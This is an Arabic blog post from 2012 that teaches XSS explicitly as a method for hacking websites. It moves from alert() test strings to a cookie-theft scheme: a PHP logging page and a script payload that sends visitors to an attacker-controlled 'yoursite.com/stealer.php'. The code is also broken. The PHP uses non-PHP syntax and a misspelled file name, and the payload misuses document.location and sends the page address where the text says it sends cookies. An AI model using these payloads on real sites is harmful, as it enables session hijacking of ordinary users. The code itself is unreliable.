الثلاثاء، 17 يوليو 2012

ما هي ثغرات XSS في المواقع و كيفية الإستفادة منها لاختراق المواقع ؟

ان المواقع المصابة بثغرات ال XSS هي المواقع التي تستطيع التعديل على محتوى مصدرها و ادخال كود javascript أو HTML او PHP
ما يجب ان تعرفه HTML,javascript,PHP

اي ان ثغرة XSS تعني امكانية تعديل محتويات الموقع.....
و معظم هذه الثغرات موجودة في مربعات البحث في المواقع ...
مثلا عنوان صفحة بحث في الموقع او في مربعات الكومنز او الرسائل او مربعات ادخال النصوص.
يكون الموقع قد كتب في صفح البحث جملة "نتائج البحث ل word : ".
و لكن ماذا اذا أدخلنا سكريبت جافا سكريبت في مربع البحث؟
ستكتب صفحة البحث "نتائج البحث ل <script>alert("XSS")</script>word : "
هنا ادرجنا السكريبت في الصفحة و سوف يظهر مربع تنبيه في الصفحة XSS
هذا يعني ان الموقع مصاب بثغرة XSS
لماذا يكون الموقع مصابا بها ؟
لأن مبرمجي الموقع كسولين جدا ليفلترو كلمة البحث من الرموز المميزة مثل #@$%^,.<>
ليمنعو من إدخال كود javascript او HTML
هناك نوعين من ثغرات الXSS
النوع الدائم :
يكون هذا النوع غالبا في مربعات الكومنتز و التعليقات .
حيث في مربع التعليق على موقع ما ندخل مثلا كود جافا سكريبت .
<script>alert("XSS")</script>
و سوف يحفظ التعليق في الصفحة أي سنحفظ كود الجافا سكريبت بشكل دائم بالصفحة
النوع المؤقت :
يكون النوع المؤقت غالبا في صفحات البحث حيث لا نستطيع ادراج الكود بشكل دائم و لكن نستطيع إدراجه فقط عن طريق رابط البحث مثل المثال السابق
http://www.infectedsite.com/search.php?q=<script>alert("XSS")</script>word
ما الفائدة من ثغرات XSS و كيف نستطيع اختراق الموقع عن طريقها ؟
هناك الكثير من الطرق لإختراق الموقع عن طريق ثغرات XSS
أهمها سرقة الكوكيز
تحتاج الى استضافة موقع تدعم PHP
ننشئ صفحة PHP مثال stealer.php
تقوم هذه الصفحة بكتابة الكلمات التي تردها بطريقة GET
الكود :
<?php
$data=$_GET["c"]
$f=open("cookies.tct","w")
$f.write($data)
$f.close()
?>
هذه الصفحة سوف تكتب البيانات التي تردها الى ملف cookies.txt و البيانات التي سنعطيها اياها هي الكوكيز عن طريق ادخال كود جافا سكريبت عن طريق الثغرة مثال في الثغرات المؤقتة في طريقة البحث :
هنا دمجنا السكريبت
<script>document.location("http://yoursite.com/stealer.php?c="+document.location)</script>
هذا الكود سيحول الضية الى موقعك و يعطي الصفحة التي ستكتب الكووكيز قيمو الكوكيز عن طريق الأمر
document.cookie
هنا اذا فتحنا الملف
ستجد الككيز للمستخدم مكتوبة فيها
 اما في الثغرات الدائمة فيكفي ادخال الكود
<script>document.location("http://yoursite.com/stealer.php?c="+document.location)</script>
ليسرق الكوكيز
و أيضا في الثغرات الدائمة نستطيع ان نحول متصفح الموقع المصاب بالثغرة XSS
 عن طريق سكريبت
Document.location

ليست هناك تعليقات:

إرسال تعليق

لديك شيء لتقوله؟

ملحوظة: يمكن لأعضاء المدونة فقط إرسال تعليق.